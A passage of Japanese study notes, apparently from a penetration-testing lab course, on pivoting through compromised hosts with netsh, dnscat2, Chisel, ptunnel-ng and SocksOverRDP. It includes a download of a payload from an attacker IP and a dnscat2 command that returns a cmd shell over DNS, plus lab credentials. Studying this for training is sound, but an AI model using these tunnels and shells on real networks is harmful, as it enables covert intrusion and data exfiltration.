<プロキシサーバーのIP>` → NTLM 認証を提供する HTTP プロキシの IP * `--ntlm-proxy-port 8081` → NTLM プロキシのポート * `--domain ` → Windows のドメイン名 * `--username <ユーザー名> & --password <パスワード>` → NTLM 認証情報 ## Windows Netshによるポート転送 * Netsh（Network Shell） は、Windowsのネットワーク設定を管理できるコマンドラインツール シナリオ例 * 例えば、侵害したホストが Windows 10 の IT 管理者のワークステーション（IP: 10.129.15.150, 172.16.5.25）だったとする * 次に、ネットワーク内でピボット（中継）して、さらに深く侵入したいとする ![](https://i.imgur.com/SowKHkn.png) Netsh を使ったポートフォワーディング * netsh.exe を使うと、特定のポート（例えば **8080**）で受信したデータを、リモートホストの別のポートへ転送できる ```cmd C:\Windows\system32> netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress= connectport=3389 connectaddress=<ターゲットのWindowsマシンの内部ネットワークの IP> ``` * 攻撃者は 10.129.42.198:8080 に接続すると、自動的に 172.16.5.25:3389 にリダイレクトされる。 * ✅ これにより、攻撃者は RDP（リモートデスクトップ）経由で内部の 172.16.5.25 にアクセスできるようになる。 * ✅ この Windows マシン (10.129.42.198) が「ピボットホスト」として機能し、内部ネットワークへのゲートウェイになる！ 🔥 ポートフォワードができているかの確認 ```cmd C:\Windows\system32> netsh.exe interface portproxy show v4tov4 Listen on ipv4: Connect to ipv4: Address Port Address Port --------------- ---------- --------------- ---------- 10.129.42.198 8080 172.16.5.25 3389 ``` 以下のコマンドで、ターゲットのWindowsマシンに接続できる ```sh xfreerdp /u:victor /p:"pass@123" /v:10.129.42.198:8080 ``` ## Dnscat2によるDNSトンネリング * [Dnscat2](https://github.com/iagox86/dnscat2)は、DNSプロトコルを使用して2つのホスト間でデータを送信するトンネリングツール * 暗号化された **Command & Control（C\&C または C2）チャネル** を確立し、DNS プロトコル内の **TXT レコード** にデータを埋め込んで送信する * 通常の DNS 通信 vs Dnscat2 * 通常のDNS通信 * 企業ネットワークの Active Directory 環境 では、社内の DNS サーバー が * ホスト名を IP アドレスに解決 * 外部の DNS サーバーにトラフィックを転送 * Dnscat2 1. DNS の名前解決要求が、攻撃者が管理する 外部の DNS サーバー に送信される 2. 正規の DNS 応答の代わりに、データが送信(流出)する 3. ネットワーク内のファイアウォールを回避しながらデータの送信が可能！ 設定 ```shell snowyowl644@htb[/htb]$ git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ sudo gem install bundler sudo bundle install ``` dnscat2ファイルを実行してdnscat2サーバーを起動する ```shell snowyowl644@htb[/htb]$ sudo ruby dnscat2.rb --dns host=<攻撃マシンのIP>,port=53,domain=inlanefreight.local --no-cache New window created: 0 dnscat2> New window created: crypto-debug Welcome to dnscat2! Some documentation may be out of date. auto_attach => false history_size (for new windows) => 1000 Security policy changed: All connections must be encrypted New window created: dns1 Starting Dnscat2 DNS server on 10.10.14.18:53 [domains = inlanefreight.local]... Assuming you have an authoritative DNS server, you can run the client anywhere with the following (--secret is optional): ./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local To talk directly to the server without a domain name, run: ./dnscat --dns server=x.x.x.x,port=53 --secret=0ec04a91cd1e963f8c03ca499d589d21 Of course, you have to figure out yourself! Clients will connect directly on UDP port 53. ``` * サーバーを実行すると、秘密鍵が表示される * 秘密鍵は、Windowsホストのdnscat2クライアントに渡す必要がある * 外部のdnscat2サーバーに送信されるデータを認証および暗号化できる * クライアントを dnscat2 プロジェクトで使用するか、[dnscat2-powershell](https://github.com/lukebaggett/dnscat2-powershell) を使用する ターゲットマシンに送るために、dnscat2-powershellを攻撃ホストにクローンする ```shell-session snowyowl644@htb[/htb]$ git clone https://github.com/lukebaggett/dnscat2-powershell.git ``` ```ps (New-Object Net.WebClient).DownloadFile('http://10.10.15.221:8080/dnscat2.ps1','dnscat2.ps1') ``` `dnscat2.ps1`ファイルがターゲットにあると、それをインポートして関連するcmd-letsを実行できる ```powershell-session PS C:\htb> Import-Module .\dnscat2.ps1 ``` dnscat2.ps1をインポートした後、それを使用して、攻撃ホストで実行されているサーバーでトンネルを確立できる CMDシェルセッションをサーバーに送り返すことができる ```powershell-session PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd ``` セッションが確立され、暗号化されるように、サーバーで生成された事前共有シークレット（`-PreSharedSecret`）を使用する必要がある セッションの確立を確認する ```shell-session New window created: 1 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) dnscat2> ``` dnscat2のオプション一覧を表示 ```shell-session dnscat2> ? Here is a list of commands (use -h on any of them for additional help): * echo * help * kill * quit * set * start * stop * tunnels * unset * window * windows ``` dnscat2でのやり取り ```shell-session dnscat2> window -i 1 New window created: 1 history_size (session) => 1000 Session 1 Security: ENCRYPTED AND VERIFIED! (the security depends on the strength of your pre-shared secret!) This is a console session! That means that anything you type will be sent as-is to the client, and anything they type will be displayed as-is on the screen! If the client is executing a command and you don't see a prompt, try typing 'pwd' or something! To go back, type ctrl-z. Microsoft Windows [Version 10.0.18363.1801] (c) 2019 Microsoft Corporation. All rights reserved. C:\Windows\system32> exec (OFFICEMANAGER) 1> ``` ## SOCKS5 トンネリングを Chisel で実現する * Chisel は、TCP/UDP ベースのトンネリングツールで、Go 言語で書かれており、データの転送には HTTP を使用し、SSH によってセキュアに通信を行う * Chisel を利用すると、ファイアウォールで制限された環境でも、クライアントとサーバー間でトンネル接続を確立できるのが特徴 シナリオ : 内部ネットワークの Web サーバーへのトンネリング * 例えば、攻撃者が 172.16.5.0/23（内部ネットワーク）の Web サーバーにアクセスしたい 状況を考える * しかし、攻撃ホストとドメインコントローラー（172.16.5.19）は異なるネットワークセグメントにあり、直接アクセスできない。 * ただし、すでに Ubuntu サーバーを侵害している場合、これをピボットホストとして利用可能！ * この Ubuntu サーバー上で Chisel のサーバーを起動し、特定のポートでリスニングさせる * Chisel トンネルを介して、内部ネットワークへのトラフィックを転送できる！ ### Chiselでのピボットを介した通信 Chiselの設定 攻撃ホストにインストールする ```sh snowyowl644@htb[/htb]$ git clone https://github.com/jpillora/chisel.git ``` ビルド ```sh snowyowl644@htb[/htb]$ cd chisel go build ``` Chisel Binary を Pivot Host に転送する ```sh scp chisel ubuntu@10.129.202.64:~/ ``` ピボットホストでChiselサーバーを実行する ```shell-session ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5 ``` もし、Chisel クライアント側で **エラーが出る場合、異なるバージョンを試す** ```sh wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz gunzip chisel_1.7.7_linux_amd64.gz mv chisel_1.7.7_linux_amd64 chisel ``` 攻撃ホストからChiselサーバーへの接続 ```shell snowyowl644@htb[/htb]$ ./chisel client -v 10.129.202.64:1234 socks ``` `/etc/proxychains.conf`にあるproxychains.confファイルを変更し、最後に`1080`ポートを追加して、1080ポートとSSHトンネルの間で作成されたトンネルを使用してプロキシチェーンをピボットできる * 以下を末尾に追加する ```sh socks5 127.0.0.1 1080 ``` chiselでのピボットホストを介して、内部ネットワーク上のDCに接続できる ```shell snowyowl644@htb[/htb]$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123 ``` ### Chisel を使ったリバースピボット（Reverse Pivoting） * 実際の環境では、ファイアウォールのルールによって、ターゲット（侵害したマシン）への「外部からの接続（インバウンド接続）」が制限されるケースがある * このような場合、Chisel の “リバースオプション” を利用することで、攻撃ホスト側に接続を張ることが可能になる **Chisel の “リバース” モード** * `--reverse` オプションを有効にすると、Chisel サーバー（攻撃ホスト側）が接続を受け付け、トラフィックをクライアント（ピボットホスト）経由で中継できるようになる * リモート指定（`--remote`）の前に **R を付ける** ことで、リバーストンネルを作成できます。 * 例えば、`R:socks` を指定すると、クライアント側で SOCKS5 プロキシをセットアップし、攻撃ホストから内部ネットワークにトンネル接続が可能になる * 通常モード（デフォルト） * Chisel クライアント（侵害したマシン）がサーバー（攻撃ホスト）に接続する * リバースモード（--reverse） * Chisel サーバー（攻撃ホスト）がリスニングし、クライアントがトラフィックを転送する 攻撃ホストで Chisel サーバーを起動 * まず、攻撃ホスト（10.10.14.17）で Chisel サーバーをリバースモードで起動する * ここで `--socks5`オプションを付けているので、リバーストンネル経由で SOCKS5 プロキシをセットアップできる ```sh sudo ./chisel server --reverse -v -p 1234 --socks5 ``` Ubuntu（ピボットホスト）から攻撃ホストに接続 * ピボットホスト上で、Chisel クライアントを起動し、攻撃ホストに接続 ```sh ./chisel client -v 10.10.14.17:1234 R:socks ``` この状態で、攻撃ホスト側に SOCKS5 プロキシ が作成された！ proxychains の設定を変更 * Chisel の SOCKS5 プロキシを使うために、proxychains.conf を編集 ```sh sudo nano /etc/proxychains.conf ``` 末尾に足す ```sh # SOCKS5 プロキシをローカルホスト（ポート 1080）に設定 socks5 127.0.0.1 1080 ``` proxychains 経由で RDP に接続 * これで SOCKS5 トンネルを通じて、内部ネットワークの DC（172.16.5.19）へ接続できる！ ```sh proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123 ``` ## SOCKSによるICMPトンネル * ICMP トンネリングは、echo requestsとresponsesを含む ICMP packets内にトラフィックをカプセル化する * **なんか互換性によっては動かないので他の手法を試す** 注意点 * ファイアウォールネットワーク内で ping 応答が許可されている場合にのみ機能する * ファイアウォールネットワーク内のホストが外部サーバに ping を許可されている場合、そのトラフィックを ping エコー要求内にカプセル化して外部サーバに送信できる * データの流出と外部サーバへのピボットトンネルの作成に非常に便利 ptunnel-ngツール * Ubuntuサーバーと攻撃ホストの間にトンネルを作成する * トンネルが作成されると、`ptunnel-ng client`を介してトラフィックをプロキシできるようになる * ターゲットのピボットホストで`ptunnel-ng server`を起動できる 設定 * gitのクローン * クローンしたら、ディレクトリに移動して autogen.sh を実行し、ビルド ```shell-session snowyowl644@htb[/htb]$ git clone https://github.com/utoni/ptunnel-ng.git cd ptunnel-ng sudo ./autogen.sh ``` ./autogen.shが動かなかった時 ```shell-session sudo apt install automake autoconf -y cd ptunnel-ng/ sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh sudo ./autogen.sh ``` ptunnel-ngをピボットホストへ転送 * 攻撃ホストからピボットホストへ ptunnel-ng を転送する ```sh snowyowl644@htb[/htb/ptunnel-ng]$ cd src scp -r ptunnel-ng ubuntu@<ピボットホストのIP>:~/ ``` ピボットホストで ptunnel-ng サーバーを起動する ```shell-session ubuntu@WEB01:~/ptunnel-ng/src$　sudo ./ptunnel-ng -r<ピボットホストのIP> -R22 ``` * `-r 10.129.202.64` → ピボットホストのIP * `-R 22` → SSH（ポート22）を転送対象に設定 攻撃ホストからICMPトンネルを利用 * 攻撃ホスト側で ptunnel-ngのクライアントを起動 し、ICMPトンネルを介して通信する ```sh sudo ./ptunnel-ng -p <ピボットホストのIP> -l 2222 ``` ```sh sudo ./ptunnel-ng -p<ピボットホストのIP> -l2222 -r<ピボットホストのIP> -R22 ``` 設定完了 * ローカル ポート 2222 (-p2222) を介して SSH を使用してターゲットに接続できる ```shell-session snowyowl644@htb[/htb]$ ssh -p2222 -lubuntu 127.0.0.1 ``` SSH 経由での動的ポート転送を有効にする ```shell-session snowyowl644@htb[/htb]$ ssh -D 9050 -p2222 -lubuntu 127.0.0.1 ``` ICMPトンネルを介したプロキシチェーン ```shell-session snowyowl644@htb[/htb]$ proxychains nmap -sV -sT 172.16.5.19 -p3389 ``` ## SocksOverRDP を使った RDP と SOCKS トンネリング * セキュリティ評価（ペンテスト）を行う際、Windows ネットワークしか使用できず、SSH を使ったピボットができない場面で使えるツール * ちょっと文だけではわかりにくいけど、ここにgifがあるから見ながらやったほうがわかりやすいかも * * SocksOverRDP * Windows の **リモートデスクトップサービス（RDP）** の機能である **Dynamic Virtual Channels（DVC）** を利用する * DVC は、RDP 接続上でパケットをトンネリングする役割 * **クリップボードのデータ転送** や **音声共有** などに使用 * SocksOverRDP を使用すると、独自のパケットをトンネリングし、それをプロキシ経由で転送できる * **Proxifier** をプロキシサーバーとして使用 攻撃準備 * 以下の2つのツールが必要 * [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) * [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) * ProxifierPE.zip を探す 攻撃の実行 1. xfreerdp を使ってターゲットに RDP 接続し、SocksOverRDPx64.zip をターゲットマシンにコピーする 2. SocksOverRDP をロード * Windows のターゲット上で、regsvr32.exe を使って SocksOverRDP.dll をロードする ```cmd-session C:\Users\htb-student\Desktop\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` 3. RDP 接続と SOCKS トンネリングの開始 * 次に、mstsc.exe を使って 172.16.5.19 へ RDP 接続 * このとき、SocksOverRDP プラグインが有効になったというプロンプトが表示され、127.0.0.1:1080 でリスニングを開始する 3. SocksOverRDP サーバーの実行 * ターゲットマシン **172.16.5.19** に SocksOverRDPx64.zip を転送するか、少なくとも SocksOverRDP-Server.exe をコピーする * その後、**管理者権限** で SocksOverRDP-Server.exe を実行する 4. SOCKSリスナーの確認 ```sh C:\Users\htb-student\Desktop\SocksOverRDP-x64> netstat -antb | findstr 1080 TCP 127.0.0.1:1080 0.0.0.0:0 LISTENING ``` 5. Proxifier の設定 * リスナーが開始されたら、Proxifier Portable を Windows 10 ターゲット（10.129.x.x ネットワーク内） に転送し、すべてのパケットを 127.0.0.1:1080 に転送するよう設定する * Proxifier を設定すると、指定したホストとポートを経由してトラフィックがルーティングされる * Proxifier の設定手順（概要） 1. Proxifier Portable をターゲットに転送 2. すべてのトラフィックを 127.0.0.1:1080 に転送するよう設定 3. Proxifier を実行 * この状態で mstsc.exe を起動すると、Proxifier を経由してすべてのトラフィックが 127.0.0.1:1080 に転送される * その結果、トンネリング経由で 172.16.5.19 に接続し、さらに SocksOverRDP-Server.exe を使って 172.16.6.155 へルーティングされる RDP のパフォーマンス調整 * RDP セッションを操作する際、特に複数のセッションを同時に管理している場合、接続のパフォーマンスが低下することがあり * 以下の手順で mstsc.exe の「エクスペリエンス」タブ からパフォーマンス設定を調整できる 1. mstsc.exe を開く 2. 「エクスペリエンス」タブを開く 3. パフォーマンス設定を「モデム」に変更する